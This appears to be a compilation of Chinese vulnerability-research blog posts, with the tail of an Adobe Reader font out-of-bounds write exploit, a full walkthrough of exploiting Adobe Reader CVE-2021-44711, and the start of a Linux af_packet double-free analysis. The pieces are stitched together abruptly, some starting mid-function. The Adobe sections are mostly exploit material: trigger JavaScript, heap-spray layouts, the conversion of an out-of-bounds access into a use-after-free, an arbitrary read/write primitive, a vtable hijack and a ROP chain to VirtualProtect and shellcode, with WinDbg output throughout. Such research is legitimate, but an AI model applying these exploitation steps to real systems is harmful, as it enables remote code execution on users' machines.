  unsigned __int8 *OriginStr; // esi
  __int16 v9; // cx
  __int16 v10; // dx
  unsigned __int16 MultiByteLength; // cx
  int MultiByteStr; // esi
  unsigned __int16 v14; // [esp+10h] [ebp-10h]
  unsigned __int16 v15; // [esp+14h] [ebp-Ch]
  unsigned __int16 v16; // [esp+18h] [ebp-8h]
  unsigned __int8 v17; // [esp+1Eh] [ebp-2h]
  unsigned __int8 v18; // [esp+1Fh] [ebp-1h]
  v7 = 0;
  if ( !*(_DWORD *)(this + 8) )
    return 0;
  OriginStr = *(unsigned __int8 **)(this + 0x18);
  if ( !*(_WORD *)(this + 0x14) )
    return 0;
  while ( 1 )
  {
    v9 = *OriginStr;
    OriginStr += 0xC;
    v10 = *(OriginStr - 11) | (unsigned __int16)(v9 << 8);
    v16 = _byteswap_ushort(*((_WORD *)OriginStr - 5));
    v15 = _byteswap_ushort(*((_WORD *)OriginStr - 4));
    v14 = _byteswap_ushort(*((_WORD *)OriginStr - 3));
    v18 = *(OriginStr - 2);
    MultiByteLength = _byteswap_ushort(*((_WORD *)OriginStr - 2)); //获取MultiByteStr的长度
    v17 = *(OriginStr - 1);
    if ( a2 == v10 && a3 == v16 && a4 == v15 && a5 == v14 )
      break;
    if ( (unsigned __int16)++v7 >= *(_WORD *)(this + 0x14) )
      return 0;
  }
  *a6 = MultiByteLength;
  MultiByteStr = *(_DWORD *)(this + 4) + *(unsigned __int16 *)(this + 0x16) + (v17 | (v18 << 8)); //获取MultiByteStr
  if ( (unsigned __int8)((_DWORD (__stdcall *)(int, _DWORD))sub_801A99B)(MultiByteStr, MultiByteLength) )
    return MultiByteStr;
  else
    return 0;
}

确定MultiByteStr的长度后，会调用malloc函数申请大小为MultiByteStr长度加1的内存空间，并将MultiByteStr拷贝到该块内存中：

while ( 1 )
  {
    oldMultStr = (void *)GetMultStr(3, v13, (__int16)Src, a4, MultiByte);// 循环获取到str
    if ( LOWORD(MultiByte[0]) )
      break;
    if ( ++v13 > 0xA )
      goto LABEL_22;
  }
  v14 = (void *)alloc(LOWORD(MultiByte[0]) + 1);// 调用malloc申请大小为MultiByteStr长度加1的内存空间
  memcpy(v14, oldMultStr, LOWORD(MultiByte[0]));// 拷贝MultiByteStr到新申请的内存中

修改POC使得MultiByteStr的长度为0x10f，通过JS代码堆喷射大小为0x100的ArrayBuffer对象同时制造内存空洞，使得MultiByteStr位于两个ArrayBuffer对象之中，修改后的内存布局如下：

0:009> g
Breakpoint 0 hit
eax=0000010f ebx=0b5aea10 ecx=0b5aec3c edx=0000010f esi=1db0a4a0 edi=00000001
eip=709bfcb0 esp=0b5ae838 ebp=0b5ae9d4 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
CoolType!CTInit+0x1c6c0:
709bfcb0 55              push    ebp
0:009> dps esp+4 L7
0b5ae83c  1db0a4a0
0b5ae840  0000010f
0b5ae844  0b5ae8f0
0b5ae848  00000001
0b5ae84c  00000000
0b5ae850  00000001
0b5ae854  00000000
0:009> dd 1db0a4a0 L(110*2+8)/4
//----------------MultiByteStr---------------
1db0a4a0  41004100 41004100 41004100 41004100
1db0a4b0  41004100 41004100 41004100 41004100
1db0a4c0  41004100 41004100 41004100 41004100
1db0a4d0  41004100 41004100 41004100 41004100
1db0a4e0  41004100 41004100 41004100 41004100
1db0a4f0  41004100 41004100 41004100 41004100
1db0a500  41004100 41004100 41004100 41004100
1db0a510  41004100 41004100 41004100 41004100
1db0a520  41004100 41004100 41004100 41004100
1db0a530  41004100 41004100 41004100 41004100
1db0a540  41004100 41004100 41004100 41004100
1db0a550  41004100 41004100 41004100 41004100
1db0a560  41004100 41004100 41004100 41004100
1db0a570  41004100 41004100 41004100 41004100
1db0a580  41004100 41004100 41004100 41004100
1db0a590  41004100 41004100 41004100 41414100
1db0a5a0  41414141 41414141 41414141 00414141
//-------------------------------------------
1db0a5b0  399fd8af 88009700 00000000 00000100 //Arraybuffer.ByteLength = 0x100
1db0a5c0  00000000 00000000 ffffffff ffffffff
1db0a5d0  ffffffff ffffffff ffffffff ffffffff
1db0a5e0  ffffffff ffffffff ffffffff ffffffff
1db0a5f0  ffffffff ffffffff ffffffff ffffffff
1db0a600  ffffffff ffffffff ffffffff ffffffff
1db0a610  ffffffff ffffffff ffffffff ffffffff
1db0a620  ffffffff ffffffff ffffffff ffffffff
1db0a630  ffffffff ffffffff ffffffff ffffffff
1db0a640  ffffffff ffffffff ffffffff ffffffff
1db0a650  ffffffff ffffffff ffffffff ffffffff
1db0a660  ffffffff ffffffff ffffffff ffffffff
1db0a670  ffffffff ffffffff ffffffff ffffffff
1db0a680  ffffffff ffffffff ffffffff ffffffff
1db0a690  ffffffff ffffffff ffffffff ffffffff
1db0a6a0  ffffffff ffffffff ffffffff ffffffff
1db0a6b0  ffffffff ffffffff ffffffff ffffffff
1db0a6c0  ffffffff ffffffff

执行完毕MultiToWide函数后，临近Arraybuffer对象的长度被覆盖为0x410041：

0:009> dd 1db0a4a0 L(110*2+8)/4
//----------------MultiByteStr---------------
1db0a4a0  00410041 00410041 00410041 00410041
1db0a4b0  00410041 00410041 00410041 00410041
1db0a4c0  00410041 00410041 00410041 00410041
1db0a4d0  00410041 00410041 00410041 00410041
1db0a4e0  00410041 00410041 00410041 00410041
1db0a4f0  00410041 00410041 00410041 00410041
1db0a500  00410041 00410041 00410041 00410041
1db0a510  00410041 00410041 00410041 00410041
1db0a520  00410041 00410041 00410041 00410041
1db0a530  00410041 00410041 00410041 00410041
1db0a540  00410041 00410041 00410041 00410041
1db0a550  00410041 00410041 00410041 00410041
1db0a560  00410041 00410041 00410041 00410041
1db0a570  00410041 00410041 00410041 00410041
1db0a580  00410041 00410041 00410041 00410041
1db0a590  00410041 00410041 00410041 00410041
1db0a5a0  00410041 00410041 00410041 00410041
//-------------------------------------------
1db0a5b0  00410041 00410041 00410041 00410041 //Arraybuffer.ByteLength = 0x410041
1db0a5c0  00000000 00000000 ffffffff ffffffff
1db0a5d0  ffffffff ffffffff ffffffff ffffffff
1db0a5e0  ffffffff ffffffff ffffffff ffffffff
1db0a5f0  ffffffff ffffffff ffffffff ffffffff
1db0a600  ffffffff ffffffff ffffffff ffffffff
1db0a610  ffffffff ffffffff ffffffff ffffffff
1db0a620  ffffffff ffffffff ffffffff ffffffff
1db0a630  ffffffff ffffffff ffffffff ffffffff
1db0a640  ffffffff ffffffff ffffffff ffffffff
1db0a650  ffffffff ffffffff ffffffff ffffffff
1db0a660  ffffffff ffffffff ffffffff ffffffff
1db0a670  ffffffff ffffffff ffffffff ffffffff
1db0a680  ffffffff ffffffff ffffffff ffffffff
1db0a690  ffffffff ffffffff ffffffff ffffffff
1db0a6a0  ffffffff ffffffff ffffffff ffffffff
1db0a6b0  ffffffff ffffffff ffffffff ffffffff
1db0a6c0  ffffffff ffffffff

此时已经具有了越界写的能力，再次修改下一个临近Arraybuffer的对象的长度为0xFFFFFFFF即可完成读写原语的构造，剩下的利用过程大同小异就不再赘述了。最终在Windows 10上完成了整个利用：

总结

该漏洞为Adobe Reader越界写漏洞，由于解析字体将字符串转化为宽字节字符串时‍没有进行完整的校验导致越界拷贝，利用的难度不大且触发稳定。

前言

最近看到一篇Adobe Reader 漏洞 CVE-2021-44711 利用浅析^[1]漏洞分析文章，打算从该漏洞开始学习 PDF 类型漏洞的分析与利用，根据文章的分析思路写出 EXP。分析使用的软件版本为：Adobe Acrobat Reader DC 2021.007.20099(x86)。

漏洞分析

漏洞通过 PDF 内嵌的 js 代码触发，POC 代码如下：

var _obj = {};
_obj[-1] = null;
var _annot = this.addAnnot({page:0, type:"Line", points:_obj});

POC 非常简单，关键就在于 Annotation 对象的 points 属性原本应该由两个点{[x1,y1],[x2,y2]}组成的，代表 Annotation 对象直线的起点和终点。然而 poc 的代码将-1 作为下标，在进行类型转换时导致了越界访问造成漏洞。

类型转换函数如下：

//函数偏移：Annots.api+0x32EC6
if ( (int *)v11 != result )
    {
      do
      {
        index_str = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 0x1C))(
                              *(_DWORD *)(dword_22747430 + 0x1C),
                              *(unsigned __int16 *)(v11 + 0x10));
        index_num = atoi_0(this_1, index_str);  // 转换字符下标为数字下标，将-1转化为0xffffffff
        v26 = 0x30;
        arraysize = v25[1] - *v25;
        HIDWORD(v21) = *v25;
        v22 = index_num;
        if ( arraysize / 0x30 <= index_num )    // 如果数组对象的数量小于当前下标的值，则重新分配数组大小，此时index_num为0xfffffff > 0
          resize(index_num + 1, var_11);     // 根据下标重新分配数组大小
        sub_2212379A(v11 + 0x18);               // 类型转换
        result = (int *)sub_2212A202(&v23);
        v11 = (int)v23;
      }
      while ( v23 != *v4 );

函数首先将字符下标 index_str 转换为数字下标 index_num，随后判断当前下标是否大于目前数组对象的数量（0x30 为单个数组对象的大小），如果大于则需要重新分配数组的大小。resize 函数接收下标+1 代表实际要访问的对象数量，resize 函数如下：

unsigned int __thiscall resize(_DWORD *this, unsigned int index, int arg_4)
{
  unsigned int Array_Num; // eax
  int target; // esi
  Array_Num = (this[1] - *this) / 0x30;   //由于Array为空，因此Array_Num=0
  if ( index >= Array_Num )      //此时index为0，而Array_Num=0，因此直接返回当前数组大小为0
  {
    if ( index > Array_Num )                    // 如果当前下标+1大于数组对象的数量，则需要重新分配数组大小
    {
      if ( index <= (this[2] - *this) / 0x30 )
      {
        Array_Num = sub_2216FDF1(this[1], index - Array_Num);// 扩充array的大小符合index+1
        this[1] = Array_Num;
      }
      else
      {
        Array_Num = sub_2216FD0D(this, index, arg_4);// 检查index大于0x5555555时则抛出异常
      }
    }
  }
  else
  {
    target = *this + 0x30 * index;
    Array_Num = sub_2213A435(target, this[1]);
    this[1] = target;
  }
  return Array_Num;
}

当 index 为-1 时，由于数组本身为空，因此 resize 函数中传入的 index 为 0，而 Array_Num 也为 0，因此直接返回了 0 作为实际的数组大小：

//执行完resize之后，此时ecx为this，即array的指针，eax为返回的resize后数组对象的个数
0:000> dd ecx L4                 //array中为空
08d615b8  00000000 00000000 00000000 00000000
0:000> p
eax=00000000 ebx=07074508 ecx=00000000 edx=00000000 esi=08d7b840 edi=08d615b8
eip=6e873049 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x15219:
6e873049 8b07            mov     eax,dword ptr [edi]  ds:002b:08d615b8=00000000  //获取array的起始地址
0:000> p
eax=00000000 ebx=07074508 ecx=00000000 edx=00000000 esi=08d7b840 edi=08d615b8
eip=6e87304b esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x1521b:
6e87304b 8b4dd4          mov     ecx,dword ptr [ebp-2Ch] ss:002b:0034bfdc=ffffffff //获取index
0:000>
eax=00000000 ebx=07074508 ecx=ffffffff edx=00000000 esi=08d7b840 edi=08d615b8
eip=6e87304e esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x1521e:
6e87304e eb03            jmp     Annots!PlugInMain+0x15223 (6e873053)
0:000> p
eax=00000000 ebx=07074508 ecx=ffffffff edx=00000000 esi=08d7b840 edi=08d615b8
eip=6e873053 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x15223:
6e873053 6bc930          imul    ecx,ecx,30h         //计算当前下标对象距离array起始地址的大小，index*0x30
0:000>
eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b840 edi=08d615b8 //然而当前index乘0x30后得到0xffffffd0，是个错误的大小
eip=6e873056 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
Annots!PlugInMain+0x15226:
6e873056 83c618          add     esi,18h
0:000>
eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8
eip=6e873059 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
Annots!PlugInMain+0x15229:
6e873059 56              push    esi
0:000>
eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8
eip=6e87305a esp=0034bfbc ebp=0034c008 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
Annots!PlugInMain+0x1522a:
6e87305a 03c8            add     ecx,eax           //将array的起始地址加上当前下标对象距离，得到当前下标                      对象的地址，由于取到错误的大小导致拿到了错误的值
0:000>
eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8
eip=6e87305c esp=0034bfbc ebp=0034c008 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
Annots!PlugInMain+0x1522c:
6e87305c e83907ffff      call    Annots!PlugInMain+0x596a (6e86379a)   //调用该函数进行类型转换，传入了错误了对象地址
0:000>
(f00.92c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=70f6f258 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0
eip=6e863a2d esp=0034bf5c ebp=0034bf84 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
Annots!PlugInMain+0x5bfd:
6e863a2d 833f01          cmp     dword ptr [edi],1    ds:002b:ffffffd0=???????? //函数内部在获取当前下标对象时出现了访问异常

最终在执行类型转换函数时获取当前下标对象的地址：*this + index * 0x30 时，获取到了错误的值 0xffffffd0 造成了访问异常。

漏洞利用

导致崩溃的原因是因为 Annotation 对象的 points 属性为空，导致获取目标 index 对象时直接访问了 index * 0x30 的地址。因此修改 POC 如下：

var _annot = this.addAnnot({page:0, type:"Line"});
var _obj = {};
_obj[2] = 2;
_annot.points = _obj;
_obj[-1] = null;
_annot.points = _obj;

下断于 resize 函数，可以看到此时 Array 不再为空，大小为 0x90：

0:000> pc
eax=00000000 ebx=070616a8 ecx=070d6288 edx=00000000 esi=0706cf38 edi=070d6288
eip=70803044 esp=002fbbe8 ebp=002fbc38 iopl=0         nv up ei pl nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
Annots!PlugInMain+0x15214:
70803044 e83ecc0300      call    Annots!PlugInMain+0x51e57 (7083fc87)  //resize函数
0:000> dd ecx l4        //Array _obj
070d6288  0700d8a0 0700d930 0700d930 00000000
0:000> ? 0700d930 - 0700d8a0      //Array Size = 0x90
Evaluate expression: 144 = 00000090

随后继续执行到类型转换函数，在获取当前下标对象的地址时，由于 array 不为空能够直接获取到 array 的起始地址，最终获取的结果正好为_obj[-1]，造成了内存越界访问：

0:000> P
eax=002fbb78 ebx=070616a8 ecx=ea9f14a7 edx=0000000b esi=0706cf38 edi=070d6288
eip=70803049 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x15219:
70803049 8b07            mov     eax,dword ptr [edi]  ds:002b:070d6288=0700d8a0   //获取array的起始地址，此时不为0
0:000> p
eax=0700d8a0 ebx=070616a8 ecx=ea9f14a7 edx=0000000b esi=0706cf38 edi=070d6288
eip=7080304b esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x1521b:
7080304b 8b4dd4          mov     ecx,dword ptr [ebp-2Ch] ss:002b:002fbc0c=ffffffff  //获取index
0:000> p
eax=0700d8a0 ebx=070616a8 ecx=ffffffff edx=0000000b esi=0706cf38 edi=070d6288
eip=7080304e esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x1521e:
7080304e eb03            jmp     Annots!PlugInMain+0x15223 (70803053)
0:000> p
eax=0700d8a0 ebx=070616a8 ecx=ffffffff edx=0000000b esi=0706cf38 edi=070d6288
eip=70803053 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x15223:
70803053 6bc930          imul    ecx,ecx,30h      //计算当前下标对象距离array起始地址的大小，index*0x30
0:000> p
eax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf38 edi=070d6288
eip=70803056 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
Annots!PlugInMain+0x15226:
70803056 83c618          add     esi,18h
0:000> p
eax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf50 edi=070d6288
eip=70803059 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x15229:
70803059 56              push    esi
0:000> p
eax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf50 edi=070d6288
eip=7080305a esp=002fbbec ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x1522a:
7080305a 03c8            add     ecx,eax       //获取当前下标对象的地址为_obj[-1]，即*this - 0x30
0:000>
eax=0700d8a0 ebx=070616a8 ecx=0700d870 edx=0000000b esi=0706cf50 edi=070d6288
eip=7080305c esp=002fbbec ebp=002fbc38 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203
Annots!PlugInMain+0x1522c:
7080305c e83907ffff      call    Annots!PlugInMain+0x596a (707f379a) //类型转换函数
0:000> dd ecx L30
//_obj[-1]，该块内存为越界读访问的内容
0700d870  00000000 00000000 00000000 00000000
0700d880  00010000 00000000 00010000 7217beb0
0700d890  0704eea8 80000000 0b758404 88007010
//_obj[0]
0700d8a0  00000000 0055005c 00000000 00000000
0700d8b0  0041005c 006d0064 006e0069 00730069
0700d8c0  00720074 00740061 00000000 0041005c
//_obj[1]
0700d8d0  00000000 00610044 00000000 00000000
0700d8e0  0061006f 0069006d 0067006e 0041005c
0700d8f0  006f0064 00650062 00000000 00720063
//_obj[2]
0700d900  00000000 00740061 00000000 40000000
0700d910  004d0054 006f0044 00730063 0073002e
0700d920  00760061 00760000 00000000 00000000

内存越界访问转化为 UAF

只是内存越界访问无法利用，然而在类型转换函数sub_2212379A中会根据*this 的不同调用不同的转换函数：

分析这些转换函数后发现*this=0x1a 时执行的函数内调用 free 函数释放了位于*(this+8)的内存：

接下来的利用思路就是将内存越界访问转化为 UAF，具体的步骤如下：

1. 通过堆喷大小为 0x1ffd 的 Array 对象占位稳定的内存地址 0x20000048，使得后续漏洞触发释放该块内存
2. 再次堆喷大小为 0x10 大小的 Array 对象布局内存，使得漏洞触发时*this=0x1a，*(this+8) = 0x20000048，漏洞触发后内存地址被释放

主要的难点在于如何构造 0x10 大小的 Array 对象布局内存，上面的分析可以得出 obj 对象占用的内存大小为 0x90。因此只需要堆喷 0x90 大小的对象，并制造内存空洞，就可以让_obj 对象精确的位于两个精心构造的内存之间：

0x00  ->  +---------------------+
          |        Array        |
0x90  ->  +---------------------+
          |        free         | <---- _obj
0x120 ->  +---------------------+
          |        Array        |
0x1b0 ->  +---------------------+
          |        free         |
0x240 ->  +---------------------+
          |        Array        |
0x2d0 ->  +---------------------+

因此需要堆喷的 0x10 大小的 Array 对象内存布局如下：

js:
fakelement = new Array(0x10);
fakelement[11] = 0x1a;
fakelement[12] = 0x20000048;
0:000> dd 07e21608 L26
//fakelement_01
07e21608  00000000 0000000d 00000010 00000010
07e21618  00000000 ffffff84 00000000 ffffff84
07e21628  00000000 ffffff84 00000000 ffffff84
07e21638  00000000 ffffff84 00000000 ffffff84
07e21648  00000000 ffffff84 00000000 ffffff84
07e21658  00000000 ffffff84 00000000 ffffff84
07e21668  00000000 ffffff84 0000001a ffffff81
07e21678  20000048 ffffff81 00000000 00000000
07e21688  00000000 00000000 00000000 00000000
07e21698  62334f4b 88000000
//fakelement_02
0:000> dd 07e216a0  L26
07e216a0  00000000 0000000d 00000010 00000010
07e216b0  00000000 ffffff84 00000000 ffffff84
07e216c0  00000000 ffffff84 00000000 ffffff84
07e216d0  00000000 ffffff84 00000000 ffffff84
07e216e0  00000000 ffffff84 00000000 ffffff84
07e216f0  00000000 ffffff84 00000000 ffffff84
07e21700  00000000 ffffff84 0000001a ffffff81
07e21710  20000048 ffffff81 00000000 00000000
07e21720  00000000 00000000 00000000 00000000
07e21730  62334f7e 88000000

从相邻的 Array 对象内存布局可以看出每个 Array 对象以 8 个字节的数据隔开，因此当_obj 占位于被释放的 Array 对象时，_obj[-1]正好访问的是上一个 Array 对象的 0x1a：

0:000> dd 06e19250 - 0x30 L30
//_obj[-1]
06e19220  0000001a ffffff81 20000048 ffffff81
06e19230  00000000 00000000 00000000 00000000
06e19240  00000000 00000000 2922eb66 88000000
//_obj[0]
06e19250  00000000 0000000d 00000000 00000000
06e19260  00000000 ffffff84 00000000 ffffff84
06e19270  00000000 ffffff84 00000000 ffffff84
06e19280  00000000 ffffff84 00000000 00000000
06e19290  00000000 ffffff84 00000000 ffffff84
06e192a0  00000000 ffffff84 00000000 ffffff84
06e192b0  00000000 ffffff84 00000000 40000000
06e192c0  20000048 ffffff81 00000000 00000000
06e192d0  00000000 00000000 00000000 00000000

接着执行类型转换的函数可以看到当前 this 指针正好指向_obj[-1]，下断在 free 函数，传入的参数正是 0x20000048：

0:000> g
Breakpoint 1 hit
eax=0015c0d4 ebx=06e19220 ecx=06e19220 edx=06e19220 esi=00000000 edi=06e19220
eip=705e89d1 esp=0015c0c4 ebp=0015c0f4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
Annots!PlugInMain+0xaba1:
705e89d1 55              push    ebp
0:000> dd ecx Lc
06e19220  0000001a ffffff81 20000048 ffffff81
06e19230  00000000 00000000 00000000 00000000
06e19240  00000000 00000000 2922eb66 88000000
0:000> g
eax=20000048 ebx=06e19220 ecx=06e19220 edx=0000001a esi=00000000 edi=0015c0d4
eip=7436f7e0 esp=0015bf8c ebp=0015bf94 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ucrtbase!free:
7436f7e0 8bff            mov     edi,edi
0:000> dps esp L2
0015bf8c  705dd041 Annots+0x1d041
0015bf90  20000048  //free的内存地址

到这一步，漏洞已经从越界内存访问转变为了 UAF，剩下的就是利用释放的内存构造读写原语了。

任意内存读写原语的构造

目前已经有一个被释放的 0x1ffe 大小的 Array 对象，因此用 0xffe8 大小的 ArrayBuffer 对象占位同一块内存。由于 Array 对象和 ArrayBuffer 对象表示长度属性的内存在同一位置，这样就导致了 Array 对象的长度被扩展为 0xffe8，因此能够越界读写下一个临近 Array 对象的 length 值了：

0:000> dd 20000048 L10  //Array对象初始长度为0x1ffd
20000048  00000000 00001ffd 00001ffd 00001ffd
20000058  00000000 ffffff81 00000000 ffffff81
20000068  00000000 ffffff81 00000000 ffffff81
20000078  00000000 ffffff81 00000000 ffffff81
0:000> dd 20000048 L10  //内存占用后长度为0xffe8
20000048  00000000 0000ffe8 07631450 00000000
20000058  41414141 ffffff81 00000000 00000000
20000068  00000000 00000000 00000000 00000000
20000078  00000000 00000000 00000000 00000000

但是 Array 对象读写内存的能力不如 ArrayBuffer，于是释放掉下一个临近的 Array 对象，并用 ArrayBuffer 对象占用内存，随后利用越界读写的 Array 对象修改 ArrayBuffer 对象的长度为 0xffffff81：

0:018> dd 20000048+0x10000 L10
20010048  00000000 ffffff81 091910e0 00000000
20010058  41414141 ffffff81 00000000 00000000
20010068  00000000 00000000 00000000 00000000
20010078  00000000 00000000 00000000 00000000

至此就获得了长度为 0xffffff81 的任意地址读写原语，不过该 ArrayBuffer 的起始地址为 0x20010058，如果需要读写起始地址之前的数据，则必须将目的地址 + 0xffffffff + 1，得到的值再通过读写原语进行读写就可以成功写入了。

代码执行

有了任意内存读写原语后，接下来就可以获取函数地址构造 ROP 链了。构造好后需要劫持对象的虚表实现，步骤如下：

1. 获取任意内存读写原语的虚表地址
2. 修改虚表地址为 ROP 指令，进行栈置换
3. 修改 shellcode 内存属性为可读可写可执行
4. 跳转到 shellcode 执行，完成利用

读写原语的虚表地址可以通过对象头的信息获取：

0:014> dd 20010048 L10
20010048  00000000 ffffff81 076910e0 00000000
20010058  41414141 ffffff81 00000000 00000000
20010068  00000000 00000000 00000000 00000000
20010078  00000000 00000000 00000000 00000000
0:014> dps 076910e0 L4
076910e0  07627448
076910e4  07625ac0
076910e8  00000000
076910ec  674d9540 EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xae630
0:014> dps 07627448 L4
07627448  0763f628
0762744c  00000004
07627450  3affffff
07627454  00000040
0:014> dps 0763f628 L4
0763f628  674d45e8 EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xa96d8
0763f62c  07628090
0763f630  00000000
0763f634  06893c18
0:014> dps 674d45e8 L8 //读写原语虚表
674d45e8  67429e18 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x3a0a8
674d45ec  9c000521
674d45f0  6727ad70 EScript!mozilla::HashBytes+0x9020
674d45f4  67363bb0 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9b870
674d45f8  6727ad70 EScript!mozilla::HashBytes+0x9020 //只需要修改该处的地址为ROP指令地址，即可实现虚表劫持
674d45fc  6727ad70 EScript!mozilla::HashBytes+0x9020
674d4600  6727ad70 EScript!mozilla::HashBytes+0x9020
674d4604  6727ad70 EScript!mozilla::HashBytes+0x9020

ROP 指令则可以选择 EScript+0x10539d 处的指令，将栈地址迁移到 0x5d000001。只需要在 0x5d000001 处填写好 VirtualProtect 的函数地址和对应的参数即可修改 shellcode 的内存属性为可执行，并跳转到 shellcode 执行：

0:013> g
Breakpoint 0 hit
eax=06d54ea0 ebx=00000000 ecx=6712539d edx=6712539d esi=0034c4c0 edi=06dfe0e8
eip=6712539d esp=0034c3f8 ebp=0034c488 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9d05d:
6712539d bc0100005d      mov     esp,5D000001h
0:000> p
eax=06d54ea0 ebx=00000000 ecx=6712539d edx=6712539d esi=0034c4c0 edi=06dfe0e8
eip=671253a2 esp=5d000001 ebp=0034c488 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9d062:
671253a2 c3              ret
0:000> dps esp L6
5d000001  75bd435f kernel32!VirtualProtect
5d000005  20010070 //shellcode
5d000009  20010058
5d00000d  00000700
5d000011  00000040
5d000015  2001006c

不过在执行 shellcode 时发现普通的 shellcode 调用 WinExec 会执行失败，调试后发现执行到 ZwCreateUserProcess 时参数内有堆喷的垃圾数据，怀疑因为这些数据导致执行失败，更换 shellcode 为 syscall 执行 ZwCreateUserProcess 后成功调用。

该代码执行方式无法绕过 CFG，最终在 Windows7 上完成了漏洞利用：

总结

该漏洞利用难点在于如何将漏洞从越界内存访问转化为 UAF，后续的利用过程和其他同类型漏洞大同小异。在利用过程中也得到了文章作者李双师傅的帮助，学习到了 Adobe 漏洞的利用技巧。

参考资料

漏洞描述：漏洞位于/net/packet/af_packet.c文件，rx_owner_map引用了pg_vec，切换到TPACKET_V3协议版本中，在packet_set_ring()函数的末尾，对pg_vec释放了一次，并未对rx_owner_map指针置为NULL，导致rx_owner_map成为悬空指针，直到从TPACKET_V3协议版本切换到TPACKET_V2协议版本后，在次到达packet_set_ring()函数的末尾，bitmap_free()函数对rx_owner_map指针进行释放，触发double free漏洞。

影响版本：Linux Kernel v5.8.0 - v5.15.0

测试版本：Linux #5.13.0

保护机制：SMEP/SMAP/KASLR/KPTI

1.漏洞分析

1.1.AF_PACKET套接字协议族

协议简介： AF_PACKET是原始套接字协议，是一种特殊的套接字协议，可以是数据链路层原始套接字，也可以是网络层原始套接字。如果是数据链路层原始套接字，可以直接发送和接收位于数据链路层的以太帧，比如Ethernet II协议，如果是网络层原始套接字，就只能发送和接收位于网络层的数据报文，比如IP协议。

快速使用：我们这里可以通过如下函数快速的创建一个 AF_PACKET协议的原始套接字：

socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

通过setsockopt就可以设置该套接字相关操作，比如设置当前AF_PACKET套接字协议版本为TPACKET_V3：

int version = TPACKET_V3;
setsockopt(s, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));

创建ring buffer：

struct tpacket_req3 req3;
memset(&req3, 0, sizeof(req3));
